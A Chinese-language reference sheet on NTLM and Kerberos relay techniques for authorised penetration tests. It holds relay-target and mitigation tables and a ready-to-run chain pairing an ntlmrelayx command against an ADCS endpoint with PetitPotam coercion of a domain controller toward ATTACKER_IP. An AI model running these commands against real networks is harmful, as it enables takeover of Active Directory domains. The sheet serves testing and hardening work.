多种中继技术参考
一份全面的NTLM中继攻击参考,适用于授权内部渗透测试。涵盖身份认证基础、强制认证技术、各协议的中继目标、工具使用、高级链式攻击及防御缓解措施。
适用于经典NTLM中继,在已修补(CVE-2019-1040之后)的现代环境中。更详细的跨协议分析请见跨协议中继。
* 目标不得要求SMB签名 † SMB来源的NTLM在NEGOTIATE中包含签名标志,而LDAP和ADCS HTTP强制执行签名——这会导致中继的会话要求一个攻击者没有的签名密钥。因此,对于LDAP和ADCS中继,优先选择WebDAV/HTTP来源的认证。
Cymulate / CVE-2026-20929 原语(2026年1月)——攻击者通过CNAME投毒DNS,Windows将SPN规范化,客户端向攻击者选择的目标请求TGS,AP-REQ被中继。由于许多服务仅根据SPN的DNS部分接受票据,因此来源SPN类别的重要性远低于NTLM中继——限制攻击的关键在于目标服务是否执行了自身的反中继控制。
所有行均假设攻击者具备网络位置以投毒DNS(通过mitm6进行DHCPv6、ARP、恶意DHCPv4)。完整技术:通过DNS CNAME滥用的Kerberos中继。
# 经典示例:强制DC认证,中继到ADCS获取DC证书
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP
| 来源认证 | → SMB | → LDAP | → MSSQL | → HTTP | → ADCS | → SOCKS |
|---|
| SMB | ✅* | ❌† | ✅ | ✅ | ❌† | ✅ |
| HTTP | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| WebDAV | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| MSSQL | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| 目标服务 | 可中继,除非... | 补丁/状态 |
|---|
| SMB | 目标要求SMB签名 | — |
| LDAP | 要求LDAP签名 | — |
| LDAPS | LdapEnforceChannelBinding = 2(始终) | — |
| HTTP / IIS | 强制HTTP CBT(HTTP.sys令牌检查 = 要求) | CVE-2026-20929 后向移植了HTTP.sys CBT |
ADCS /certsrv/ | 虚拟目录上扩展保护 = 要求 | 通过CVE-2026-20929应用HTTP.sys CBT |
| MSSQL | 启用扩展保护 | — |
| Exchange(OWA/ECP/…) | 所有虚拟目录上的EPA | — |